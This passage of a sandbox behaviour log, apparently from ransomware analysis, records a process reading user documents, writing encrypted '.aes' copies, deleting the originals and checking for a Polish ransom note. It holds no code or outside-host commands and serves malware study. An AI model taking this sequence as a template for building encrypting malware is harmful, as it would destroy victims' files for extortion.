lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.207] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.208] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.208] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.208] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.208] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.208] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.208] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.208] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.209] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.210] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.210] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.210] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.210] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.210] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.210] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.210] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.211] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.211] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0xb17, lpOverlapped=0x0) returned 1 [0073.211] ReadFile (in: hFile=0x354, lpBuffer=0x26b4178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4178*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0073.211] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0xc31, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce974*=0xc31, lpOverlapped=0x0) returned 1 [0073.211] WriteFile (in: hFile=0x2a8, lpBuffer=0x26b5c4c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26b5c4c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0073.211] CloseHandle (hObject=0x2a8) returned 1 [0073.212] CloseHandle (hObject=0x354) returned 1 [0073.212] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf", lpFilePart=0x0) returned 0x59 [0073.212] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\iUfdaFezBB3P- l4I3e.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\iufdafezbb3p- l4i3e.rtf")) returned 1 [0073.214] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5c [0073.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0073.214] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b13740, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe5b13740, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe5b13740, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0073.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0073.214] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0073.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf", lpFilePart=0x0) returned 0x59 [0073.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0073.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\pwqhqsjinpvfkbjkrzb.rtf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76ec9500, ftCreationTime.dwHighDateTime=0x1d2fe84, ftLastAccessTime.dwLowDateTime=0x87a109e0, ftLastAccessTime.dwHighDateTime=0x1d2fd98, ftLastWriteTime.dwLowDateTime=0x87a109e0, ftLastWriteTime.dwHighDateTime=0x1d2fd98, nFileSizeHigh=0x0, nFileSizeLow=0x142d)) returned 1 [0073.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0073.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf", lpFilePart=0x0) returned 0x59 [0073.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0073.237] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\pwqhqsjinpvfkbjkrzb.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0073.237] GetFileType (hFile=0x354) returned 0x1 [0073.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0073.237] GetFileType (hFile=0x354) returned 0x1 [0073.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf.aes", lpFilePart=0x0) returned 0x5d [0073.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0073.237] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\pwqhqsjinpvfkbjkrzb.rtf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0073.237] GetFileType (hFile=0x2a8) returned 0x1 [0073.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0073.237] GetFileType (hFile=0x2a8) returned 0x1 [0073.238] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0073.245] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0073.245] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0073.253] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0073.253] GetAdaptersAddresses () returned 0x6f [0073.258] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0073.258] GetAdaptersAddresses () returned 0x0 [0073.263] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.270] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.270] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.277] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.277] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.285] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.285] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.292] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.293] LocalFree (hMem=0x7014730) returned 0x0 [0073.293] GetBestInterfaceEx (in: pDestAddr=0x26dfd08*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0073.383] ReadFile (in: hFile=0x354, lpBuffer=0x26b4388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4388*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.384] ReadFile (in: hFile=0x354, lpBuffer=0x26b4388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4388*, lpNumberOfBytesRead=0x77cea50*=0x42d, lpOverlapped=0x0) returned 1 [0073.384] ReadFile (in: hFile=0x354, lpBuffer=0x26b4388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4388*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0073.384] WriteFile (in: hFile=0x2a8, lpBuffer=0x2887050*, nNumberOfBytesToWrite=0x541, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2887050*, lpNumberOfBytesWritten=0x77ce974*=0x541, lpOverlapped=0x0) returned 1 [0073.385] WriteFile (in: hFile=0x2a8, lpBuffer=0x2887050*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2887050*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0073.385] CloseHandle (hObject=0x2a8) returned 1 [0073.385] CloseHandle (hObject=0x354) returned 1 [0073.385] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf", lpFilePart=0x0) returned 0x59 [0073.386] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\pWQHqSJInPvfKbJkRZb.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\pwqhqsjinpvfkbjkrzb.rtf")) returned 1 [0073.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5c [0073.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0073.386] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b13740, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe5b13740, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe5b13740, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0073.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0073.387] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0073.408] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx", lpFilePart=0x0) returned 0x54 [0073.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0073.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\t8rijba3r5ril.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7598f130, ftCreationTime.dwHighDateTime=0x1d2f597, ftLastAccessTime.dwLowDateTime=0x75fc7000, ftLastAccessTime.dwHighDateTime=0x1d2fc10, ftLastWriteTime.dwLowDateTime=0x75fc7000, ftLastWriteTime.dwHighDateTime=0x1d2fc10, nFileSizeHigh=0x0, nFileSizeLow=0x8474)) returned 1 [0073.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0073.408] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx", lpFilePart=0x0) returned 0x54 [0073.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0073.409] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\t8rijba3r5ril.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0073.409] GetFileType (hFile=0x354) returned 0x1 [0073.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0073.409] GetFileType (hFile=0x354) returned 0x1 [0073.409] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx.aes", lpFilePart=0x0) returned 0x58 [0073.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0073.409] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\t8rijba3r5ril.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0073.409] GetFileType (hFile=0x2a8) returned 0x1 [0073.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0073.409] GetFileType (hFile=0x2a8) returned 0x1 [0073.409] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0073.417] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0073.417] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0073.425] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0073.425] GetAdaptersAddresses () returned 0x6f [0073.430] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0073.430] GetAdaptersAddresses () returned 0x0 [0073.435] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.445] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.445] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.454] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.454] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.461] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.461] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.468] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.469] LocalFree (hMem=0x7014730) returned 0x0 [0073.469] GetBestInterfaceEx (in: pDestAddr=0x289dde4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0073.556] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.557] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, 